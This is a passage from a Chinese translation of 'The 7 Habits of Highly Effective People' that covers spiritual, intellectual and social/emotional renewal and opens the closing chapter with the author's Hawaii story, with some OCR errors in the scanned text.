现精神层面的更新,还有些人是通过与自然交流来 达到同样目的。我的做法是每天认真阅读和思考《圣 经》,因为它体现了我的价值体系,每及此时,我都 会感觉脱胎换骨,精神抖擞,信心百倍,并重获为 他人服务的决心。大自然会赐福给那些沉浸在自然 中的人。当你远离城市的喧嚣与}昆乱,尽情享受过 大自然的和谐与韵律,再回到城市时会感到耳目一 新,在一段时间内,没有什么能够干扰你或让你惊 慌失措,直到外界的喧嚣混乱再次侵蚀到你内心的 静谧和安详。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 405 ~ 作家阿瑟〃戈登(Arther Gordon)曾描述他个 人精神重建的亲身经历。 有一段时间他感觉人生乏味,意志消沉,灵感 枯竭。这种情况愈演愈烈,不得不求教于医生。经 检查身体,一切正常,医生便建议他做一次精神之 旅——到幼年时最喜爱的地点度一天假。可以进食, 但禁止说话、阅读、写作或听收音机。然后医生开 了四张处方,嘱咐他分别在 9 点、l2 点、下午 3 点 及 6 点拆开。 第二天,戈登如约来到最心爱的海滩,打开第 一张处方,上面写着‚仔细聆听‛。他的第一个反应 是,难道医生疯了不成?我岂能连续呆坐 3 小时?但 戈登仍遵医嘱,耐心地四下倾听。他听到海浪声、 鸟声,不久又发现起初未注意的许多声音。一边聆 听,一边想起小时候大海教给他的耐心、尊重及万 物息息相关等观念。他逐渐听到往日熟悉的声音, 也听出沉寂,心中逐渐平静下来。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 406 ~ 中午,他打开第二张处方:‚设法回头。‛‚回 头什么呢?‛也许是童年,也许是往日美好的时光。 于是他开始从记忆中挖掘点点滴滴的乐事,设法回 忆每个细节,心中渐渐升起一股温暖的感觉。 下午 3 点钟,戈登打开第三张处方,前两张并 不难办到,这一张‚检讨动机‛却不容易。起初他 为自己的行为辩护,在追求成功、受人肯定与安全 感的驱使下,他不得不采取某些举动。可是再一细 想,这些动机并不怎么正当,或许这正是他陷入低 潮的原因。回顾过去愉快满足的生活,他终于找到 了答案。他写道: 我突然领悟到,动机不 aY-,诸事便不顺。不 论邮差、美发师、保险推销员或家庭主妇,只要自 认是为人服务,都能把工作做好。若是为私利,就 不能如此成功。这是不易的真理。 到了下午 6 点,第四张处方很简单:‚把忧愁 埋进沙子里。‛他跪在沙滩上,用贝壳碎片写了几个 字,然后转身离去,头也不回。因为他知道,潮水 会涌上来。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 407 ~ 精神层面的更新需要时间,但这是第二类事务, 我们没有时间去忽视它。 伟大的改革家马丁·路德(Martin Luther)有一 句名言:“我今天要做的事情太多了,所以我要多花 一个小时祷告。”对他来说,祷告并不是例行公事, 而是解放和增加活力的源泉。 有一位远东的禅师在任何压力之下都能处变不 惊。有人问他:“您是怎样保持这种平静安详的?” 他答道:“因为我从未离开过我坐禅的地方。”他早 起坐禅,在一天的其余时间里,内心深处始终保持 着坐禅时的那种安详心境。 这也就是说,如果我们能够用心把握生活的方 向和生命的真谛,就如同得到了一把可以聚拢一切 的大伞,源源不断地赐予我们新的力量,如果能够 持之以恒,效果会更加明显。 正因为如此,我才坚信个人的使命宣言至关重 要。一旦深刻理解了生活的中心和目标,我们就可 以不断反思,持之以恒,在更新精神层面的过程中, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 408 ~ 就可以抱着坚定的信念,构想并实践每一天的活动。 宗教领袖戴维·麦凯(David 0.Mckay)说:“每 天人生最重大的战争都在灵魂深处的密室中进行。” 如果你能够在这些战争中获胜,将内心的矛盾和冲 突平息下来,就会感到一片祥和,并领悟到生命的 真谛。自然而然地,你会取得公众领域的成功,即 秉持着合作精神,为他人造福,由衷地为他们的成 功感到快乐。 智力层面 我们大多数人的智力发育和学习习惯都源自正 规教育。但是,一旦脱离了学校的训导,许多人的 头脑就会退化:不再认真读书,不再探索身外的新 世界,不再用心思考,也不再写作,至少是不再重 视写作,不再把它当做考验我们准确、扼要表达自 己的能力的方式。相反,我们把时间花在了看电视 上。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 409 ~ 长期研究表明,大多数人家的电视机每周要开 约 35~45 个小时,等同于很多人的工作时数,多于 大多数 A 的 JE:学时数。这是电视对社会生活最强 烈的影响,而且,电视里所宣扬的价值观可能会在 不知不觉中潜移默化我们的思想。 我们在家庭会议上讨论并了解电视给家庭带来 的好处和问题,结果发现,如果大家放下防御和竞 争心态,就会一致承认沉溺于肥皂剧或某个特定节 目是一种病态的依赖行为。电视的确让生活变得丰 富多彩,但是,还有很多电视节目完全是在浪费我 们的时间和头脑,如果听之任之,就会带来消极影 响。 如果想对电视节目做出明智选择,就要借助习 惯三。它使我们能够辨别并挑选最适合我们的目标 和价值观,而且信息丰富,发人深省和引人人胜的 节目。 智力层面的更新主要靠教育,借此不断学习知 识,磨砺心智,开阔视野。有时需要借助课堂教学 或系统的学习计划。但在更多的情况下并非如此, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 410 ~ 积极处世的人有能力摸索出无数种自我教育的方法。 养成定期阅读优秀文学作品的习惯是拓展思维 的最佳方式,这是第二类事务,人们可以借此接触 到当前或历史上最伟大的思想。我极力推荐大家从 每个月读一本书开始,然后每两周读一本书,接着 是每周读一本书。 “不读书的人跟文盲没什么两样。” 文学巨著、哈佛经典、名人自传、《国家地理》 等出版物都是非常优秀的文学作品,可以丰富我们 的文化知识,不同领域的当代文学可以帮助我们拓 展思维和提高智力。如果我们能够在阅读的时候实 践习惯五,则会事半功倍;否则,如果尚未真正理 解作者的初衷,就根据自身经历过早地做出判断, 就会事倍功半。 磨砺心智的另一种有效方式是写作。通过不断 记录自己的想法、经历、深刻见解和学习心得,我 们的思路就会更加明晰、准确和连贯。如果能够在 写信的时候与他人深入交流思想、感受和理念,而 不是肤浅地停留在事物表面,也有助于我们提高思 考、推理和获取他人理解的能力。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 411 ~ 组织和规划是另外两种与习惯二和习惯三相关 的磨砺心智的方式,也就是以终为始,为实现磨砺 心智这一目标而运筹帷幄,运用大脑的想象力和逻 辑力,事先预见到结果和过程,即便无法预见到具 体步骤,至少也能预见到主要途径。 有人说,战争的胜利取决于将军的运筹帷幄。 前面说到的身体、精神和智力这三个层面的“磨刀” 过程就是我所谓的“每日个人领域的成功”的实践 过程。我的建议是每天“磨刀”一小时,身体力行, 坚持不懈。 社会/情感层面 身体、精神和智力层面与习惯一、二、三密切 相关,围绕着个人愿景、自我领导和自我管理的原 则。而社会/情感层面的重点则是习惯四、五、六, 围绕着人际领导、移情交流和创造性合作的原则。 生活中社会层面和情感层面之所以紧密相连, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 412 ~ 是因为我们的情感生活首先源自并体现于与他人的 关系,但并不限于此。 社会/情感层面的更新并不像其他层面的更新 那样需要花费大量时间,我们可以在与他人的日常 交往中完成这项工作,但练习还是必要的。由于我 们中的许多人尚未取得个人领域的成功,不具备任 何交往中都必不可少的习惯四、五、六(公众领域的 成功)的技巧,所以可能时刻需要自我激励和鞭策。 假设你是我生活中必不可少的人,我们需要交 流、共事、完成一项任务或解决一个问题,但却存 在意见分歧和不同视角,比如你看到的是年轻女子, 我看到的却是老妇人。 这时候我就要实践习惯四。我对你说: “我知道, 咱们对这个问题的看法不同,不如先交流一下意见, 直至找到大家都满意的解决方法。你觉得如何?”多 数人都会点头同意。 然后,我开始实践习惯五——先理解别人,我 要做到移情聆听,目的不是做出回答,而是深入、 全面地了解你的想法。当我能够像你一样解释你的 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 413 ~ 观点之后,就集中精力阐明我自己的观点,让你也 能够理解我的观点。 既然我们都致力于寻找双方满意的解决方案并 能够深入理解彼此的观点,就可以转向习惯六。我 们共同努力,拟定消除分歧的第三种解决方案,该 方案需要被双方认可为优于你我最初提交的方案。 习惯四、五、六的成功关键不是智力问题,而 是情感问题,与我们个人的安全感密切相关。 至于增进内在安全感的方式,包括:坚守原则, 肯定自我;与人为善,相信人生不止输赢两种抉择, 还有双方都是赢家的第三种可能性;乐于奉献,服 务人群;燃烧自己,照亮别人。如果把工作当做一 种奉献,再平凡的职业也会显得不同凡响。 英国文学家萧伯纳(George Bernard Shaw)说: 这便是真正的快乐,即被用于一个你自认为是 有力的目标。也就是说,要成为一种自然的力量, 而不是一个狂热的、自私的、精神不正常和牢骚满 腹的傻瓜,抱怨世界不让你幸福。我的看法是:我 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 414 ~ 的生命属于整个社会,只要我活着,我就要为它奉 献我所能做的一切,这是我的荣幸。希望在我去世 时,我能为社会耗尽自己的一切.因为我越努力工 作,就会活得越久,我为生活本身而越感到快乐。 在我看来,生活并不是短暂的烛光。它是一支辉煌 的火炬,我不仅现在举着它,而且要在传给后人之 前,让它尽可能燃烧得更明亮些。 N.埃尔登.坦纳(N.Eldon Tanner)曾经说过: “服务是我们向允许我们生活在地球上的特权交纳 的租金。”服务的途径有多种。不论是属于教会还是 服务组织,每度过一天,我们都应以无条件的爱, 至少为另一个人服务。 改发他人 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 415 ~ 在音乐剧《梦幻骑士》的故事里,一位中世纪 骑士遇到了一个妓女,她接触的所有人都认定她已 无可救药。 但是,这位诗人般的骑士在她身上看到了美好 和可爱的东西。他看到了她的美德,并且一次次予 以肯定。他还给她取了个新名字——杜尔西内亚, 新名字象征着新面貌。 起初,她执意抗拒,昔日的经历已在她身上刻 下难以磨灭的痕迹.她认为他是个愚蠢透顶的妄想 狂。但是,他始终坚持,不断给予着无条件的爱。 这种爱逐渐穿透了她的外壳,探触到了她真正的天 性和潜能。她开始做出回应,逐渐改变自己的生活 方式。她相信并开始遵循新的行为模式,所有人都 为这一变化感到惊讶。 后来,当她又要恢复到旧有的行为模式时,生 命垂危的骑士把她叫到病床前,唱起了那曲动人的 《无法实现的梦》(吼 e 砌 oss 汤 fe Dre 咖)。他凝 视她的双眼,轻声说:‚永远不要忘记,你是杜尔西 内亚。‛ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 416 ~ 每个人都是社会的一面小镜子,反映出身边人 的想法、判断和模式,每个人都从镜中获知自己在 周围人眼中的形象,而社会之镜是由周围人的舆论、 认知和思维决定的。作为相互依赖关系的一分子, 我们都有这样一种潜意识,即自己是社会的大镜子 的一部分。 我们可以选择清晰而真实地反映出他人的形象, 肯定他们的积极性和责任心,帮助他们改变行为模 式,成为讲原则,懂判断,独立自主,有价值的个 体。知足心态让我们意识到,反映他人的正面形象 并不会贬低我们自己,而会使我们更强大,因为它 增加了我们与其他积极主动者有效交往的机会。 有时候,连你自己都不相信自己了,却有另一 个人相信你,他会改变你,这不是人生的重大转变 吗? 反过来,你不是也可以反映并肯定别人的正面 形象吗?设想有人正在社会的镜子的引导下 Et 益颓 废和消沉,这时候你表现出了对他们的信任,移情 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 417 ~ 聆听他们的谈话,处处为他们着想,不去解除他们 身上的责任,而是鼓励他们积极处世,这样一来, 他们就会在你的帮助下振作起来。就自我实现的预 言而言,最经典的一个故事是: 在英国的一所学校里,有一台电脑意外地出现 了程序错误,结果在登记学习成绩时,把一个‚优 等生‛班记录成了‚差生‛班,把一个‚差生‛班 记录成了‚优等生‛班。这份报告是每年开学时决 定教师对学生看法的首要参考。 当校方终于在五个半月之后发现这一错误时, 决定不向任何人透露情况,并再次对这些孩子进行 了测试。结果令人瞠目结舌:‚优等生‛的智商测试 成绩出现了明显下降,因为别人都把他们当做头脑 愚笨、不合作、难以管教的学生——教师的想法变 成了自我实现的预言。 不过,所谓的‚差生‛的成绩却有所提高,因 为他们被当做聪明的学生对待,教师的热情、希望、 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 418 ~ 乐观态度和兴奋心情都反映出对这些学生的极高的 期望和评价。 校方问这些教师,开学初的几个星期情况如何, 他们答道:‚不知怎么回事,我们的方法不奏效,所 以只好改变。‛既然电脑信息显示这些孩子是聪明的, 那么如果进展不顺,就一定是教学方法出了问题, 所以这些教师才会积极主动地改进方法,在自己的 影响圈内做出努力。事实证明,表面上的学习障碍 其实是教师的死板僵化造成的。 我们如何反映他人的形象?这种反映又会对他 们的生活产生多少影响呢?我们有足够的“财富”对 别人做感情投资。我们越擅长发掘别人的潜力,就 越能在配偶、子女、同事或雇员身上发挥自己的想 象力,而不是记忆力。我们不应该给他们“贴标签”, 与他们共处时要从全新的角度“打量”他们,帮助 他们独立和实现自我,并建立起美满、丰富和卓有 成效的人际关系。 歌德(Goethe)说: “以一个人的现有表现期许之, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 419 ~ 他不会有所长进。以他的潜能和应有成就期许之, 他定能不负所望。” 平衡更新 自我提升和完善的过程必须包括天性中的所有 四个层面:身体、精神、智力、社会/情感。 每个层面的更新都很重要,因此只有平衡好四 个层面的更新进度,才能取得最理想的效果,忽视 任何_个层面都会对其他层面产生消极影响。 企业力争上游的道理也是这样。企业的体质就 是财务状况;心智涉及人力资源的开发、培养与运 用;社会情感指公关与员工待遇;精神则反映出目 标宗旨与原则。企业健全与否系于这四方面的平衡 发展,原本有益的助力也有可能成为阻力。 比方有许多唯利是图的企业,表面上高唱崇高 的理想,骨子里却一心一意只想赚钱。这种企业内 部都有严重不和的现象:不同部门各自为政、钩心 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 420 ~ 斗角、明争暗斗。谋利固然是企业经营的基本目的, 但并非企业存在的唯一目的。犹如生命少不了食物, 但人绝非为吃而活。 有些组织则走向另一个极端,几乎是只关注社 会/情感层面。从某种意义上讲,它们是社会的实 验品,它们放弃了为自己的价值体系确立经济标准, 缺乏衡量效率高低的标准或尺度,因此毫无效率可 言,并最终将丧失在市场上生存的能力。 还有许多组织发展了三个层面,它们也许确立 了恰当的服务标准、经济标准和人际关系标准,但 却忽视了发掘、培养、利用和赏识员工的才能,这 种缺憾会让其领导方式变成善意的独裁,由此形成 的企业文化就会表现为各种形式的共同抵触,互相 敌对,人员过度流动等深远而长期存在的问题。 如果要达到高效能,无论组织还是个人都需要 平衡发展并更新所有层面,任何层面遭到忽视都会 产生消极力量,对效能和成长产生阻碍。如果组织 和个人在使命宣言中确认了这四个层面的内容,就 能为平衡更新提供稳固的框架。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 421 ~ 这个不断改善的过程也是“全面质量管理运动” 的特色,是日本经济腾飞的关键。 更新中的统合综效 人生的四个层面休戚相关:身体健全有助于心 智发展,精神提升有益于人际关系的圆满。因此, 平衡才能产生最佳的整体效果。 本书的七个习惯也唯有在身心平衡的状态下效 果最佳,因为每个习惯之间,都存在着密不可分的 关系。 越是积极主动(习惯一),就越能在生活中有效 地实施自我领导(习惯二)和管理(习惯三);越是有 效管理自己的生活(习惯三),就能从事越多的第二 类事务的更新活动(习惯七);越能先理解别人(习惯 五),就越能找到统合综效的双赢解决方案(习惯四 和习惯六);越是改善培养独立性的习惯(习惯一、 二、三),就越能在相互依赖的环境下提高效能(习 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 422 ~ 惯四、五、六);而自我更新则是强化所有这些习惯 的过程(习惯七)。 身体层面的自我更新等同于强化个人愿景(习 惯一)。它帮助我们增强积极性、自我意识和独立意 志,让我们知道自己是自由的,不需要被动地承受 他人的行为后果,这也许是锻炼身体的最大好处。 精神层面的更新等同于强化自我领导(习惯二)。 它帮助我们更好地按照想象和良知(而不只是回忆) 行事,深入理解个人思维和价值观,确定核心的正 确原则,明确自己在生活中的独特使命,改变思维 和行为模式,以及坚持正确原则并利用个人的资源 优势。精神层面的更新让个人生活变得更加丰富。 智力层面的更新等同于强化自我管理(习惯三)。 它帮助你在做计划的时候确定第二类事务的重要活 动,优先能够有效利用时间和精力的目标与活动, 然后围绕这些组织并开展活动。不断接受教育帮助 你巩固知识基础,增加选择范围。稳定的经济基础 并非来自工作,而是来自个人的产能(思考、学习、 创造、调整)。真正的经济独立指的不是家财万贯, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 423 ~ 而是拥有创造财富的能力,这是内在的。 “每天的个人领域的成功”(每天至少用一个小 时实现身体、精神和智力层-d 的更新)是培养七个 习惯的关键,完全在个人的影响圈范围内。第二类 事务会集中必要精力将所有习惯整合到生活中,让 你以原则作为生活的中心。 这也是“每天的公众领域的成功”的基础,是 你更新社会/情感层面所需要的内在安全感的来源。 它赐予你力量,让你能够在相互依赖的环境中专注 于自己的影响圈,即以知足的心态对待他人,真诚 尊重彼此的差异,为他们的成功而感到高兴。它是 实现真正的理解和统合综效的双赢解决方案,并在 相互依赖的环境中实践习惯四、五、六的基础。 螺旋式上升 自我提升和完善是一种原则,也是一个过程, 一个在成长和转变之间螺旋式上升的过程,一个不 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 424 ~ 断完善自我的过程。 要想在这个过程中实现稳定而卓越的进步,还 必须考虑到人类的独特天赋——良知,它指引着这 个螺旋式上升的过程。用斯塔尔夫人(Madame de Stael)话说:“良知的声音如此微弱,可以被轻而易 举地淹没;但又如此清晰,不可能被错误地解释。” 良知是一种天赋,帮助我们判断自己是否背离 了正确的原则,然后引导我们向这些原则靠拢。 锻炼神经和肌肉对优秀运动员来说至关重要, 而训练头脑对学者来说至关重要,同理,培养良知 对积极处世的高效能人士来说也至关重要。培养良 知需要更专注的精神和更全面的训练,以及贯彻始 终的诚信人生,对励志文学作品的定期阅读和高尚 的情操,而最重要的是要在我们的良知还未成熟的 时候就遵循它。 垃圾食品和缺乏锻炼会毁掉运动员的健康。同 样,淫秽、粗俗或色情的东西会使我们的灵魂陷入 黑暗之中,削弱我们的判断能力,不再关心是非对 错(自然而神圣的良知),只在乎自己是否会被揭发 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 425 ~ “社会良知”。 哈马舍尔德(Dag Hammarskjold)说过: 把玩内心兽性的人,早晚会变成真正的野兽; 整天弄虚作假的人,终将失去获得真理的权利;暴 虐成性的人,头脑的判断力会日益减退。如果真的 要保持花园整洁,就不能让杂草有立足之地。 一旦具备了自我意识,我们就必须选择自己需 要遵循的目标与原则,否则就如真空被慢慢填满一 样,自我意识存在的空间会越来越小,并最终消失, 而我们就会变成只为生存和繁衍而活着的行尸走肉。 这个层次上的人只是在“生存”,而不是“生活”, 这种被动消极的状态会让人们意识不到内心深藏和 有待开发的独特潜质。 修身励志没有捷径。收获法则始终发挥着支配 作用——种瓜得瓜,种豆得豆,不多也不少。公正 的法则也不可动摇,我们越是靠近正确的原则,就 越能对事情做出明智的判断,我们的思路也就越清 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 426 ~ 晰明确。 当我们依照螺旋式上升的路线成长时,一定要 在自我提升和完善的过程中勤勤恳恳,培养并遵从 自己的良知,它会鞭策和指引我们沿着自由、安全、 智慧和力量的道路前行。 要实现这个良性循环,就必须学习、坚持、实 践,并沿着螺旋式上升的路线不断提高实践的层次。 如果以为做到一项就已足够,完全是在自欺欺人。 为了不断进步,我们必须学习、坚持、实践——再 学习、再坚持、再实践„„ [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 427 ~ 付诸行动 1.列出有助于保持良好身体状态,符合你的 生活方式,能让你从中得到乐趣的活动清单。 2.挑选其中一项活动,把它列为你下周的个 人活动的目标。到一周结束时,评估自己的表现, 如果没有实现目标,就思考一下原因,是因为你更 看重一种更高尚的价值观,还是因为你未能遵循自 己的价值观行事。 3.列出在精神和智力层面自我提升和完善的 活动清单,在社会/情感层面希望改善的人际关系 以及能依靠公众成功来提高效能的具体领域。在每 个层面中挑选一项活动,列为本周目标,付诸实施 并加以评估。 4.坚持每周写下所有四个层面的具体‚磨刀‛ 行动,付诸实施并评估自己的表现和效果。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 428 ~ 第十一章 再论由内而外造就自己 七个习惯浇灌出来的最高级、最美好和最甘甜 的果实就是齐心协力,就是把自己、爱人、朋友和 同事合而为一。 上帝行事由内而外,尘世行事由外而内;尘世 让世人摆脱贫穷,耶稣则先让世人摆脱内心的贫穷, 然后由他们自己摆脱贫穷;尘世通过改变环境来造 就人,耶稣则通过改变人来造就环境;尘世塑造人 的行为,而耶稣改变人的本质。 ——埃兹拉·塔夫脱·本森(Ezra Taft Benson) 美国前农业部部长 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 429 ~ 我想讲述我的一段亲身经历,因为其中体现了 本书的精髓,而且希望大家借此体会其中蕴涵的基 本原则。 若干年前,为了安心写作,我带着全家离开自 己从教的大学,去夏威夷休假,在瓦胡岛北岸的拉 耶住了整整一年。 每天在海滩上晨跑后,我们就把两个还光着脚、 穿着短裤的孩子送到学校,而我则到甘蔗地旁边一 所僻静的房子里写作,那是我的办公室,美丽而且 静谧——没有电话,不用开会。 这间办公室在一所学院旁。一天,我在学院图 书馆的书架问漫步,一本特别的书引起了我的兴趣, 其中一段文字让我彻底改变了余生。 我反复玩味这段文字,它主要阐释了这样一个 简单的理念:刺激与回应之间存在一段距离,成长 和幸福的关键就在于我们如伺利用这段距离。 这个理念在我头脑中产生的影响是难以言喻的。 虽然一直接受着自我决定论的教育,这句话——“刺 激与回应之间存在一段距离”——仍让我感到一股 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 430 ~ 全新的、令人难以置信的力量,我觉得它像是一个 素未谋面的新事物,引发了我内心的革命,而且恰 逢其时。 在反思中,这句话开始对我的生活模式产生了 影响。我仿佛剐出了自己的角色,成了一个旁观者, 身处那段距离中来观察源自外界的刺激。我可以选 择甚至改变回应的方式,还可以选择成为或者至少 影响这种刺激。这种内在的自由感令我狂喜。 此后不久,在一定程度上是由于这种“革命性” 理念的作用,我和桑德拉开始进行深入交流。快到 中午的时候,我就骑着摩托车去接她,带上两个学 龄前的孩子——一个坐在我们之间,另一个坐在我 的左腿上,穿过我办公室旁边的甘蔗地。我们就这 样慢慢骑着,除了谈话什么都不做。 路上车很少,而且摩托车声音很小,我们都能 清楚地听到彼此说话。最后我们总会来到一片人迹 罕至的海滩,停下车,找一个僻静的地方野餐。 沙滩和岛上的小河彻底吸引了孩子们的注意力, 所以,我和桑德拉可以不受干扰地继续交谈。我们 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 431 ~ 每天至少花两个小时深人交流,这样坚持了一年后, 我们之间形成了相当程度的理解和信任。 最开始的时候,我们讨论各种有趣的话题—— 人、理念、事件、子女、我的写作、我们的家人、 未来的计划等等。但是,随着交流的逐步深入,我 们开始越来越多地讨论内心世界的问题——我们的 成长经历、行为模式、感受和自我怀疑。在全心交 流的同时,我们还会审视交流的情况以及各自的表 现。我们用新颖而有趣的方式利用刺激与回应之间 的那段距离,思考自己如何变成了今天的自己以及 这些过程如何决定了我们的世界观。 我们在自己的内心世界里探险,发现其刺激程 度远远超过了外部世界的任何探险,而且更精彩, 更有趣,更引人人胜,更加充满发现和感悟。 这个过程并非总是甜蜜而轻松,我们偶尔会触 及一些敏感的神经,也有过一些痛苦的经历、尴尬 的往事和 II 我解剖,让我们在敞开心扉的同时,也 更容易受伤。然而,我们发现,其实多年来两个人 都一直盼望着能就这些事情好好聊聊,至于那些敏 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 432 ~ 感问题,在经过双方的深入探讨和解决后,我们都 能感到伤口渐渐愈合。 从一开始,我们就极力互相支持、鼓励和体谅, 这让我们能够更进一步地探索彼此的内心世界,而 我们之间的关系也得到滋养。 我们逐渐有了两项心照不宣的基本规则。一是 “不要刨根问底”:无论哪个人露出了内心最脆弱的 一面,另一人都不得追根究底,而是要尽力体谅对 方,否则就显得太过咄咄逼人、霸道和刻板。因此 尽管我们心里很渴望尽可能多地了解,还是渐渐认 识到必须选择适当的时机来让双方倾吐心事。 二是在话题过于尖锐或痛苦的时候,我们就要 及时打住,晚些时候或者等到第二天再说,直到当 事人愿意再次开口。 这种交流最艰难也最有成效的时刻,就是在两 个人的脆弱相互触碰之时。由于主观情绪作怪,我 们可能会发现刺激与回应之间的距离已不复存在, 不祥的感觉开始露头,好在我们之间存在着默契和 共同的愿望:时刻准备在曾经中断的地方重新开始, [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 433 ~ 重新面对这些问题,直至解开彼此的心结。 这些困境的出现与我的性格倾向有关。我父亲 是个非常孤僻的人,他内向而谨慎。而我母亲则一 直很外向、坦诚和率真。我发现自己同时具有这两 种倾向:当缺乏安全感时,我往往就会变得像父亲 那样孤僻,小心地观望着外面的世界。 桑德拉更像我母亲,她擅长交际,真诚而率真。 这么多年来,我常常觉得她的坦诚有欠体统,她则 觉得我的拘谨无论对个人还是对社交来说都是一种 “机能障碍”,譬如,我对他人的感受经常无动于衷。 在深入交流中,我们谈到了这些和其他许多问题。 我开始欣赏并珍惜桑德拉的智慧和洞察力,她让我 变得更加坦诚和敏锐,更具奉献精神和交际能力。 还有一个问题已经困扰我多年,那就是桑德拉 固执的偏好。她似乎对某品牌电器有一种我绝对无 法理解的痴迷,她从来不考虑购买其他牌子的电器。 即使在我们经济尚很拮据的时候,她还是坚持要驱 车 50 英里到“大城市”去购买该品牌的电器。 这让我心里很不舒服,所幸只有购买家电时才 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 434 ~ 会出现这种局面,但是每次出现都是一种“刺激”, 会引发激烈的“回应”。就像一个导火索,能让我联 想起各种烦心事,引发一系列不愉快的感受。 我通常会逃避,再次表现出“机能障碍”般的 孤僻行为。我认为处理这个问题的唯一办法就是搁 置它,否则我一定会失控,口不择言,而每次出言 不逊后,我都要再回去道歉。 她对这个品牌的痴迷还并不是困扰我的最大问 题,她为这个品牌辩护的那些莫名其妙的理由才真 的让我难以接受。如果她干脆承认自己的做法缺乏 理性,完全是感情用事,我大概还能容忍,但是她 却一再辩解,实在让我烦心。 早春的一天,我们谈到了这个话题。此前的所 有交流已经为这次谈话奠定了基础,基本规则也已 经确立:一是不要刨根问底,二是如果一方或双方 感到痛苦就搁置话题。 我永远都不会忘记那一天。我们没有去海滩, 而是一直在甘蔗地里兜风,大概是因为我们不想彼 此对视吧,毕竟这个问题牵扯到太多心理矛盾和不 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 435 ~ 愉快的感受。尽管这个问题已经潜藏了许久,但还 没有严重到导致关系破裂的程度,但当我们试图营 造一种美好而和睦的关系时,任何导致分裂的问题 都不容忽视。 这次沟通的效果是惊人的,这是真正的统合综 效。桑德拉好像是第一次思索自己痴迷于这个品牌 的原因,她谈到了自己的父亲,说他曾经在中学担 任了多年的历史教师,后来为了糊口,进入了家电 行业。经济衰退使他陷入了严重的经济困境,而没 有濒临破产的唯一原因就是那个品牌的公司允许他 赊账进货。 桑德拉和父亲的感情无比深厚,劳累一天的父 亲一回到家里,就会躺在沙发上,而桑德拉则为他 按摩双脚,给他唱歌,两个人每天都沉醉于这样的 美好时光,持续多年。每当这时候,父亲就会对桑 德拉坦言他在生意上的烦恼,并告诉她幸亏那家公 司允许他赊账进货,他才得以渡过难关,为此他对 这家公司十分感激。 父女之间的这种交流自然而率直,所产生的影 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 436 ~ 响力也是难以想象的。在那样一个轻松的环境下, 任何心里戒备都不会存在,因此父亲的话在桑德拉 的潜意识里印上了深深的烙印。她原本或许已经忘 记了这一切,直到我们能够无拘无束地进行沟通的 那一刻,往事就自然而然地重现。 我逐渐意识到,桑德拉所谈论的不是电器,而 是自己的父亲,她在谈论一种忠诚——对于父亲的 愿望的忠诚。 那次谈话让我们热泪盈眶,不只是因为这些新 发现,还因为我们更加尊重彼此了。我们发现,看 似琐碎的小事,往往也源自刻骨铭心的情感经历, 如果只看表面,而没有挖掘深层的敏感问题,无异 于在践踏对方心中的圣土。 在夏威夷的那段日子让我们收获颇丰,交流变 得卓有成效,我们几乎能够瞬间理解彼此的想法。 离开那里时,我们决心将这种实践进行到底。在那 之后的许多年里,我们仍然定期骑着本田车出行, 如果天气不好就开车,目的就是交谈。我们认为爱 情保鲜的秘诀就是交谈,特别是讨论彼此的感受。 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 437 ~ 我们尝试每天都交流数次,即使当我奔波在外时也 不例外,那让我感到快乐、安全和珍惜,就像是回 到了家里。 代际传承 我和桑德拉在那幸福的一年里发现,如果能明 智地利用刺激与回应之间的距离和人类的四种独特 天赋,我们就能获得由内而外的力量。 我们尝试过自外而内的手段。我们彼此相爱, 于是想通过控制自己的态度和行为,靠有效的人际 沟通技巧来消除分歧,但这只是权宜之计,作用有 限。只有从最基本的思维和行为模式下手,才能根 除长期的潜在问题。 由内而外的努力让我们能够建立充满信任和坦 诚的关系,以深入持久的手段消除有关“机能障碍” 的分歧,这是由外而内的努力所不能做到的。如果 我们能够为了抽时间从事第二类事务(即彼此深入 [ 高效能人士的七个习惯 ] ———————————————————————————————————— ———————————————————————————————————— ~ 438 ~ 交流)而重新审视自己的计划,改变行为模式和调整 生活,就会收获宝贵的双赢关系,彼此的深入理解 